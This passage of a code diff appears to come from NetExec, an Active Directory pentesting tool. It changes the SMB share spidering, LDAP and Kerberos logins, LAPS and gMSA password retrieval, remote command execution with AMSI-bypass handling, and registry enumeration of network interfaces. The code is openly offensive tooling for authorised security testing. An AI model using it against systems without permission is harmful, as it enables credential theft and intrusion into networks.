samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if server_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, server_handle)
|
||||
dce.disconnect()
|
||||
+14
-25
@@ -8,6 +8,7 @@ from nxc.paths import TMP_PATH
|
||||
from nxc.protocols.smb.remotefile import RemoteFile
|
||||
from impacket.smb3structs import FILE_READ_DATA
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.nmb import NetBIOSTimeout
|
||||
|
||||
|
||||
CHUNK_SIZE = 4096
|
||||
@@ -52,17 +53,7 @@ def get_list_from_option(opt):
|
||||
|
||||
|
||||
class SMBSpiderPlus:
|
||||
def __init__(
|
||||
self,
|
||||
smb,
|
||||
logger,
|
||||
download_flag,
|
||||
stats_flag,
|
||||
exclude_exts,
|
||||
exclude_filter,
|
||||
max_file_size,
|
||||
output_folder,
|
||||
):
|
||||
def __init__(self, smb, logger, download_flag, stats_flag, exclude_exts, exclude_filter, max_file_size, output_folder):
|
||||
self.smb = smb
|
||||
self.host = self.smb.conn.getRemoteHost()
|
||||
self.max_connection_attempts = 5
|
||||
@@ -84,6 +75,7 @@ class SMBSpiderPlus:
|
||||
"num_files_unmodified": 0,
|
||||
"num_files_updated": 0,
|
||||
}
|
||||
self.connection_attempts = 1 # we connect once initially
|
||||
self.download_flag = download_flag
|
||||
self.stats_flag = stats_flag
|
||||
self.exclude_filter = exclude_filter
|
||||
@@ -98,15 +90,14 @@ class SMBSpiderPlus:
|
||||
"""Performs a series of reconnection attempts, up to `self.max_connection_attempts`, with a 3-second delay between each attempt.
|
||||
It renegotiates the session by creating a new connection object and logging in again.
|
||||
"""
|
||||
for i in range(1, self.max_connection_attempts + 1):
|
||||
for i in range(self.connection_attempts, self.max_connection_attempts + 1):
|
||||
self.logger.display(f"Reconnection attempt #{i}/{self.max_connection_attempts} to server.")
|
||||
|
||||
# Renegotiate the session
|
||||
time.sleep(3)
|
||||
self.logger.display("Creating new connection object and trying to login...")
|
||||
self.smb.create_conn_obj()
|
||||
self.smb.login()
|
||||
self.connection_attempts += 1
|
||||
return True
|
||||
|
||||
return False
|
||||
|
||||
def list_path(self, share, subfolder):
|
||||
@@ -114,21 +105,18 @@ class SMBSpiderPlus:
|
||||
filelist = []
|
||||
try:
|
||||
# Get file list for the current folder
|
||||
filelist = self.smb.conn.listPath(share, subfolder + "*")
|
||||
|
||||
filelist = self.smb.conn.listPath(share, f"{subfolder}*")
|
||||
except SessionError as e:
|
||||
self.logger.debug(f'Failed listing files on share "{share}" in folder "{subfolder}".')
|
||||
self.logger.debug(str(e))
|
||||
|
||||
self.logger.debug(f"Failed listing files on share '{share}'' in folder '{subfolder}': {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}".')
|
||||
|
||||
self.logger.debug(f'Cannot list files in folder "{subfolder}"')
|
||||
elif "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
self.logger.debug(f"The folder {subfolder} does not exist.")
|
||||
|
||||
self.logger.debug(f"The folder {subfolder} does not exist")
|
||||
elif self.reconnect():
|
||||
filelist = self.list_path(share, subfolder)
|
||||
|
||||
except NetBIOSTimeout:
|
||||
self.logger.debug("Received a NetBIOSTimeout, moving on....")
|
||||
return []
|
||||
return filelist
|
||||
|
||||
def get_remote_file(self, share, path):
|
||||
@@ -246,6 +234,7 @@ class SMBSpiderPlus:
|
||||
# - It's a file then we apply the checks
|
||||
for result in filelist:
|
||||
next_filedir = result.get_longname()
|
||||
# "ServiceProfiles", "assembly", "Boot", "CbsTemp", "Fonts", "Installer", "Microsoft.NET"
|
||||
if next_filedir in [".", ".."]:
|
||||
continue
|
||||
next_fullpath = folder + next_filedir
|
||||
|
||||
@@ -172,12 +172,12 @@ class ldap(connection):
|
||||
self.logger.debug(f"ldap_connection: {ldap_connection}")
|
||||
except SysCallError as e:
|
||||
if proto == "ldaps":
|
||||
self.logger.debug(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
self.logger.fail(f"LDAPs connection to {ldap_url} failed - {e}")
|
||||
# https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/enable-ldap-over-ssl-3rd-certification-authority
|
||||
self.logger.debug("Even if the port is open, LDAPS may not be configured")
|
||||
self.logger.fail("Even if the port is open, LDAPS may not be configured")
|
||||
else:
|
||||
self.logger.debug(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
return [None, None, None]
|
||||
self.logger.fail(f"LDAP connection to {ldap_url} failed: {e}")
|
||||
exit(1)
|
||||
|
||||
resp = ldap_connection.search(
|
||||
scope=ldapasn1_impacket.Scope("baseObject"),
|
||||
@@ -1419,6 +1419,7 @@ class ldap(connection):
|
||||
auth.get_tgt()
|
||||
if self.args.use_kcache:
|
||||
self.logger.highlight("Using kerberos auth from ccache")
|
||||
auth.load_ccache()
|
||||
|
||||
timestamp = datetime.now().strftime("%Y-%m-%d_%H%M%S") + "_"
|
||||
bloodhound = BloodHound(ad, self.hostname, self.host, self.port)
|
||||
|
||||
+27
-31
@@ -1,5 +1,3 @@
|
||||
import binascii
|
||||
import hashlib
|
||||
from json import loads
|
||||
from pyasn1.codec.der import decoder
|
||||
from pyasn1_modules import rfc5652
|
||||
@@ -37,12 +35,13 @@ class LDAPConnect:
|
||||
def proto_logger(self, host, port, hostname):
|
||||
self.logger = NXCAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname})
|
||||
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False):
|
||||
def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False, dns_server=""):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
if kdcHost is None:
|
||||
kdcHost = domain
|
||||
if kdcHost is None or domain not in kdcHost:
|
||||
self.logger.fail("Please provide the FQDN of the domain controller with --kdcHost")
|
||||
exit(1)
|
||||
|
||||
# This checks to see if we didn't provide the LM Hash
|
||||
if ntlm_hash and ntlm_hash.find(":") != -1:
|
||||
@@ -54,12 +53,13 @@ class LDAPConnect:
|
||||
baseDN = ""
|
||||
domainParts = domain.split(".")
|
||||
for i in domainParts:
|
||||
baseDN += f"dc={i},"
|
||||
baseDN += f"DC={i},"
|
||||
# Remove last ','
|
||||
baseDN = baseDN[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN)
|
||||
self.logger.info(f"Connecting to ldap://{kdcHost} - {baseDN} - {domain} [1]")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.kerberosLogin(
|
||||
username,
|
||||
password,
|
||||
@@ -78,7 +78,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{kdcHost}", baseDN, dns_server if dns_server else domain)
|
||||
ldap_connection.login(
|
||||
username,
|
||||
password,
|
||||
@@ -105,18 +105,14 @@ class LDAPConnect:
|
||||
color="magenta" if error_code in ldap_error_status else "red",
|
||||
)
|
||||
return False
|
||||
|
||||
except OSError:
|
||||
self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}")
|
||||
return False
|
||||
except KerberosError as e:
|
||||
self.logger.fail(
|
||||
f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}",
|
||||
color="red",
|
||||
)
|
||||
self.logger.fail(f"{domain}\\{username}:{password if password else ntlm_hash} {e!s}", color="red")
|
||||
return False
|
||||
|
||||
def auth_login(self, domain, username, password, ntlm_hash):
|
||||
def auth_login(self, domain, username, password, ntlm_hash, dns_server):
|
||||
lmhash = ""
|
||||
nthash = ""
|
||||
|
||||
@@ -135,7 +131,7 @@ class LDAPConnect:
|
||||
base_dn = base_dn[:-1]
|
||||
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldap://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
# Connect to LDAP
|
||||
@@ -148,7 +144,7 @@ class LDAPConnect:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
# We need to try SSL
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, domain)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", base_dn, dns_server if dns_server else domain)
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
self.logger.extra["protocol"] = "LDAPS"
|
||||
self.logger.extra["port"] = "636"
|
||||
@@ -173,7 +169,7 @@ class LDAPConnect:
|
||||
|
||||
|
||||
class LAPSv2Extract:
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port):
|
||||
def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port, dns_server):
|
||||
if ntlm_hash.find(":") != -1:
|
||||
self.lmhash, self.nthash = ntlm_hash.split(":")
|
||||
else:
|
||||
@@ -187,6 +183,7 @@ class LAPSv2Extract:
|
||||
self.do_kerberos = do_kerberos
|
||||
self.kdcHost = kdcHost
|
||||
self.logger = None
|
||||
self.dns_server = dns_server
|
||||
self.proto_logger(self.domain, port, self.domain)
|
||||
|
||||
def proto_logger(self, host, port, hostname):
|
||||
@@ -218,7 +215,7 @@ class LAPSv2Extract:
|
||||
gke = kds_cache[key_id["RootKeyId"]]
|
||||
else:
|
||||
# Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey
|
||||
string_binding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
string_binding = hept_map(destHost=self.domain if not self.dns_server else self.dns_server, remoteIf=MSRPC_UUID_GKDI, protocol="ncacn_ip_tcp")
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash)
|
||||
@@ -263,7 +260,7 @@ class LAPSv2Extract:
|
||||
return plaintext[:-18].decode("utf-16le")
|
||||
|
||||
|
||||
def laps_search(self, username, password, cred_type, domain):
|
||||
def laps_search(self, username, password, cred_type, domain, dns_server):
|
||||
prev_protocol = self.logger.extra["protocol"]
|
||||
prev_port = self.logger.extra["port"]
|
||||
self.logger.extra["protocol"] = "LDAP"
|
||||
@@ -274,7 +271,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
if self.kerberos:
|
||||
if self.kdcHost is None:
|
||||
self.logger.fail("Add --kdcHost parameter to use laps with kerberos")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
connection = ldapco.kerberos_login(
|
||||
domain[0],
|
||||
@@ -283,6 +280,7 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
kdcHost=self.kdcHost,
|
||||
aesKey=self.aesKey,
|
||||
dns_server=dns_server
|
||||
)
|
||||
else:
|
||||
connection = ldapco.auth_login(
|
||||
@@ -290,11 +288,12 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
username[0] if username else "",
|
||||
password[0] if cred_type[0] == "plaintext" else "",
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
dns_server
|
||||
)
|
||||
if not connection:
|
||||
self.logger.fail(f"LDAP connection failed with account {username[0]}")
|
||||
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
search_filter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.hostname + "))"
|
||||
attributes = [
|
||||
@@ -325,13 +324,14 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
password[0] if cred_type[0] == "hash" else "",
|
||||
self.kerberos,
|
||||
self.kdcHost,
|
||||
339
|
||||
339,
|
||||
dns_server
|
||||
)
|
||||
try:
|
||||
data = d.run()
|
||||
except Exception as e:
|
||||
self.logger.fail(str(e))
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
r = loads(data)
|
||||
msMCSAdmPwd = r["p"]
|
||||
username_laps = r["n"]
|
||||
@@ -346,21 +346,17 @@ def laps_search(self, username, password, cred_type, domain):
|
||||
self.logger.debug(f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}")
|
||||
else:
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
return None, None, None
|
||||
|
||||
if msMCSAdmPwd == "":
|
||||
self.logger.fail(f"msMCSAdmPwd or msLAPS-Password is empty or account cannot read LAPS property for {self.hostname}")
|
||||
return None, None, None, None
|
||||
|
||||
hash_ntlm = None
|
||||
if cred_type[0] == "hash":
|
||||
hash_ntlm = hashlib.new("md4", msMCSAdmPwd.encode("utf-16le")).digest()
|
||||
hash_ntlm = binascii.hexlify(hash_ntlm).decode()
|
||||
return None, None, None
|
||||
|
||||
username = username_laps if username_laps else self.args.laps
|
||||
password = msMCSAdmPwd
|
||||
domain = self.hostname
|
||||
self.args.local_auth = True
|
||||
self.args.kerberos = False
|
||||
self.logger.extra["protocol"] = prev_protocol
|
||||
self.logger.extra["port"] = prev_port
|
||||
return username, password, domain, hash_ntlm
|
||||
return username, password, domain
|
||||
@@ -11,7 +11,7 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to")
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
|
||||
|
||||
egroup = ldap_parser.add_argument_group("Retrevie hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos")
|
||||
egroup.add_argument("--asreproast", help="Output AS_REP response to crack with hashcat to file")
|
||||
egroup.add_argument("--kerberoasting", help="Output TGS ticket to crack with hashcat to file")
|
||||
|
||||
@@ -26,13 +26,13 @@ def proto_args(parser, parents):
|
||||
vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid")
|
||||
vgroup.add_argument("--active-users", nargs="*", help="Get Active Domain Users Accounts")
|
||||
|
||||
ggroup = ldap_parser.add_argument_group("Retrevie gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup = ldap_parser.add_argument_group("Retrieve gmsa on the remote DC", "Options to play with gmsa")
|
||||
ggroup.add_argument("--gmsa", action="store_true", help="Enumerate GMSA passwords")
|
||||
ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided")
|
||||
ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA")
|
||||
|
||||
bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud")
|
||||
bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan")
|
||||
bgroup.add_argument("-c", "--collection", default="Collection", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, All. You can specify more than one by separating them with a comma")
|
||||
|
||||
return parser
|
||||
@@ -109,7 +109,7 @@ class rdp(connection):
|
||||
def print_host_info(self):
|
||||
nla = colored(f"nla:{self.nla}", host_info_colors[3], attrs=["bold"]) if self.nla else colored(f"nla:{self.nla}", host_info_colors[2], attrs=["bold"])
|
||||
if self.domain is None:
|
||||
self.logger.display("Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX ({nla})")
|
||||
else:
|
||||
self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) ({nla})")
|
||||
return True
|
||||
@@ -181,7 +181,7 @@ class rdp(connection):
|
||||
credentials=self.auth,
|
||||
)
|
||||
asyncio.run(self.connect_rdp())
|
||||
if str(proto) == "SUPP_PROTOCOLS.RDP" or str(proto) == "SUPP_PROTOCOLS.SSL" or str(proto) == "SUPP_PROTOCOLS.SSL|SUPP_PROTOCOLS.RDP":
|
||||
if proto.value == SUPP_PROTOCOLS.RDP or proto.value == SUPP_PROTOCOLS.SSL or proto.value == SUPP_PROTOCOLS.SSL | SUPP_PROTOCOLS.RDP:
|
||||
self.nla = False
|
||||
return
|
||||
except Exception:
|
||||
|
||||
+132
-43
@@ -14,7 +14,7 @@ from impacket.examples.secretsdump import (
|
||||
NTDSHashes,
|
||||
)
|
||||
from impacket.nmb import NetBIOSError, NetBIOSTimeout
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr
|
||||
from impacket.dcerpc.v5 import transport, lsat, lsad, scmr, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.transport import DCERPCTransportFactory, SMBTransport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
@@ -215,6 +215,7 @@ class smb(connection):
|
||||
if "STATUS_NOT_SUPPORTED" in str(e):
|
||||
# no ntlm supported
|
||||
self.no_ntlm = True
|
||||
self.logger.debug("NTLM not supported")
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
@@ -224,8 +225,20 @@ class smb(connection):
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.hostname
|
||||
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
|
||||
try:
|
||||
import socket
|
||||
socket.inet_aton(self.host)
|
||||
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except OSError:
|
||||
if self.host.count(".") >= 1:
|
||||
self.hostname = self.host.split(".")[0]
|
||||
self.targetDomain = ".".join(self.host.split(".")[1:])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
|
||||
self.domain = self.targetDomain if not self.args.domain else self.args.domain
|
||||
|
||||
@@ -236,10 +249,14 @@ class smb(connection):
|
||||
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
|
||||
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
|
||||
# Also only on Windows we should get an OS arch as for that we would need MSRPC
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
self.server_os_minor = self.conn.getServerOSMinor()
|
||||
self.server_os_build = self.conn.getServerOSBuild()
|
||||
try:
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
self.server_os_minor = self.conn.getServerOSMinor()
|
||||
self.server_os_build = self.conn.getServerOSBuild()
|
||||
except KeyError:
|
||||
self.logger.debug("Error getting server information...")
|
||||
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix - Samba"
|
||||
elif self.server_os_build == 0 and self.os_arch == 0:
|
||||
@@ -259,21 +276,24 @@ class smb(connection):
|
||||
self.os_arch = self.get_os_arch()
|
||||
self.output_filename = os.path.expanduser(f"~/.nxc/logs/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-"))
|
||||
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
self.smbv1,
|
||||
self.signing,
|
||||
)
|
||||
try:
|
||||
self.db.add_host(
|
||||
self.host,
|
||||
self.hostname,
|
||||
self.domain,
|
||||
self.server_os,
|
||||
self.smbv1,
|
||||
self.signing,
|
||||
)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
try:
|
||||
# DCs seem to want us to logoff first, windows workstations sometimes reset the connection
|
||||
self.conn.logoff()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error logging off system: {e}")
|
||||
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.domain}"
|
||||
|
||||
@@ -397,11 +417,11 @@ class smb(connection):
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
|
||||
self.logger.debug(f"Adding credential: {domain}/{self.username}:{self.password}")
|
||||
self.db.add_credential("plaintext", domain, self.username, self.password)
|
||||
user_id = self.db.get_credential("plaintext", domain, self.username, self.password)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
|
||||
self.db.add_loggedin_relation(user_id, host_id)
|
||||
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.password)} {self.mark_guest()}{self.mark_pwned()}"
|
||||
@@ -411,14 +431,7 @@ class smb(connection):
|
||||
add_user_bh(self.username, self.domain, self.logger, self.config)
|
||||
if self.admin_privs:
|
||||
self.logger.debug(f"Adding admin user: {self.domain}/{self.username}:{self.password}@{self.host}")
|
||||
self.db.add_admin_user(
|
||||
"plaintext",
|
||||
domain,
|
||||
self.username,
|
||||
self.password,
|
||||
self.host,
|
||||
user_id=user_id,
|
||||
)
|
||||
self.db.add_admin_user("plaintext", domain, self.username, self.password, self.host, user_id=user_id)
|
||||
add_user_bh(f"{self.hostname}$", domain, self.logger, self.config)
|
||||
|
||||
# check https://github.com/byt3bl33d3r/CrackMapExec/issues/321
|
||||
@@ -469,9 +482,10 @@ class smb(connection):
|
||||
self.logger.debug(f"{self.is_guest=}")
|
||||
if "Unix" not in self.server_os:
|
||||
self.check_if_admin()
|
||||
user_id = self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
|
||||
self.db.add_credential("hash", domain, self.username, self.hash)
|
||||
user_id = self.db.get_credential("hash", domain, self.username, self.hash)
|
||||
host_id = self.db.get_hosts(self.host)[0].id
|
||||
self.db.add_loggedin_relation(user_id, host_id)
|
||||
|
||||
out = f"{domain}\\{self.username}:{process_secret(self.hash)} {self.mark_guest()}{self.mark_pwned()}"
|
||||
@@ -572,6 +586,9 @@ class smb(connection):
|
||||
self.admin_privs = True
|
||||
except scmr.DCERPCException:
|
||||
self.admin_privs = False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Error checking if user is admin on {self.host}: {e}")
|
||||
self.admin_privs = False
|
||||
|
||||
def gen_relay_list(self):
|
||||
if self.server_os.lower().find("windows") != -1 and self.signing is False:
|
||||
@@ -707,20 +724,21 @@ class smb(connection):
|
||||
except UnicodeDecodeError:
|
||||
self.logger.debug("Decoding error detected, consider running chcp.com at the target, map the result with https://docs.python.org/3/library/codecs.html#standard-encodings")
|
||||
output = output.decode("cp437")
|
||||
|
||||
|
||||
self.logger.debug(f"Raw Output: {output}")
|
||||
output = "\n".join([ll.rstrip() for ll in output.splitlines() if ll.strip()])
|
||||
self.logger.debug(f"Cleaned Output: {output}")
|
||||
|
||||
|
||||
if "This script contains malicious content" in output:
|
||||
self.logger.fail("Command execution blocked by AMSI")
|
||||
return None
|
||||
|
||||
if (self.args.execute or self.args.ps_execute) and output:
|
||||
if (self.args.execute or self.args.ps_execute):
|
||||
self.logger.success(f"Executed command via {current_method}")
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
if output:
|
||||
output_lines = StringIO(output).readlines()
|
||||
for line in output_lines:
|
||||
self.logger.highlight(line.strip())
|
||||
return output
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed with {current_method}")
|
||||
@@ -732,24 +750,24 @@ class smb(connection):
|
||||
if not payload:
|
||||
self.logger.error("No command to execute specified!")
|
||||
return None
|
||||
|
||||
|
||||
response = []
|
||||
obfs = obfs if obfs else self.args.obfs
|
||||
encode = encode if encode else not self.args.no_encode
|
||||
force_ps32 = force_ps32 if force_ps32 else self.args.force_ps32
|
||||
get_output = True if not self.args.no_output else get_output
|
||||
|
||||
|
||||
self.logger.debug(f"Starting ps_execute(): {payload=} {get_output=} {methods=} {force_ps32=} {obfs=} {encode=}")
|
||||
amsi_bypass = self.args.amsi_bypass[0] if self.args.amsi_bypass else None
|
||||
self.logger.debug(f"AMSI Bypass: {amsi_bypass}")
|
||||
|
||||
|
||||
if os.path.isfile(payload):
|
||||
self.logger.debug(f"File payload set: {payload}")
|
||||
with open(payload) as commands:
|
||||
response = [self.execute(create_ps_command(c.strip(), force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods) for c in commands]
|
||||
else:
|
||||
response = [self.execute(create_ps_command(payload, force_ps32=force_ps32, obfs=obfs, custom_amsi=amsi_bypass, encode=encode), get_output, methods)]
|
||||
|
||||
|
||||
self.logger.debug(f"ps_execute response: {response}")
|
||||
return response
|
||||
|
||||
@@ -760,6 +778,11 @@ class smb(connection):
|
||||
try:
|
||||
self.logger.debug(f"domain: {self.domain}")
|
||||
user_id = self.db.get_user(self.domain.upper(), self.username)[0][0]
|
||||
except IndexError as e:
|
||||
if self.kerberos:
|
||||
pass
|
||||
else:
|
||||
self.logger.fail(f"IndexError: {e!s}")
|
||||
except Exception as e:
|
||||
error = get_error_string(e)
|
||||
self.logger.fail(f"Error getting user: {error}")
|
||||
@@ -834,6 +857,74 @@ class smb(connection):
|
||||
self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}")
|
||||
return permissions
|
||||
|
||||
def interfaces(self):
|
||||
"""
|
||||
Retrieve the list of network interfaces info (Name, IP Address, Subnet Mask, Default Gateway) from remote Windows registry'
|
||||
Made by: @Sant0rryu, @NeffIsBack
|
||||
"""
|
||||
try:
|
||||
remoteOps = RemoteOperations(self.conn, False)
|
||||
remoteOps.enableRegistry()
|
||||
|
||||
if remoteOps._RemoteOperations__rrp:
|
||||
reg_handle = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces")["phkResult"]
|
||||
sub_key_list = rrp.hBaseRegQueryInfoKey(remoteOps._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
|
||||
sub_keys = [rrp.hBaseRegEnumKey(remoteOps._RemoteOperations__rrp, key_handle, i)["lpNameOut"][:-1] for i in range(sub_key_list)]
|
||||
|
||||
self.logger.highlight(f"{'-Name-':<11} | {'-IP Address-':<15} | {'-SubnetMask-':<15} | {'-Gateway-':<15} | -DHCP-")
|
||||
for sub_key in sub_keys:
|
||||
interface = {}
|
||||
try:
|
||||
interface_key = f"SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces\\{sub_key}"
|
||||
interface_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_key)["phkResult"]
|
||||
|
||||
# Retrieve Interace Name
|
||||
interface_name_key = f"SYSTEM\\ControlSet001\\Control\\Network\\{{4D36E972-E325-11CE-BFC1-08002BE10318}}\\{sub_key}\\Connection"
|
||||
interface_name_handle = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, reg_handle, interface_name_key)["phkResult"]
|
||||
interface_name = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_name_handle, "Name")[1].rstrip("\x00")
|
||||
interface["Name"] = str(interface_name)
|
||||
if "Kernel" in interface_name:
|
||||
continue
|
||||
|
||||
# Retrieve DHCP
|
||||
try:
|
||||
dhcp_enabled = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "EnableDHCP")[1]
|
||||
except DCERPCException:
|
||||
dhcp_enabled = False
|
||||
interface["DHCP"] = bool(dhcp_enabled)
|
||||
|
||||
# Retrieve IPAddress
|
||||
try:
|
||||
ip_address = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpIPAddress" if dhcp_enabled else "IPAddress")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
ip_address = None
|
||||
interface["IPAddress"] = ip_address if ip_address else None
|
||||
|
||||
# Retrieve SubnetMask
|
||||
try:
|
||||
subnetmask = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "SubnetMask")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
subnetmask = None
|
||||
interface["SubnetMask"] = subnetmask if subnetmask else None
|
||||
|
||||
# Retrieve DefaultGateway
|
||||
try:
|
||||
default_gateway = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, interface_handle, "DhcpDefaultGateway")[1].rstrip("\x00").replace("\x00", ", ")
|
||||
except DCERPCException:
|
||||
default_gateway = None
|
||||
interface["DefaultGateway"] = default_gateway if default_gateway else None
|
||||
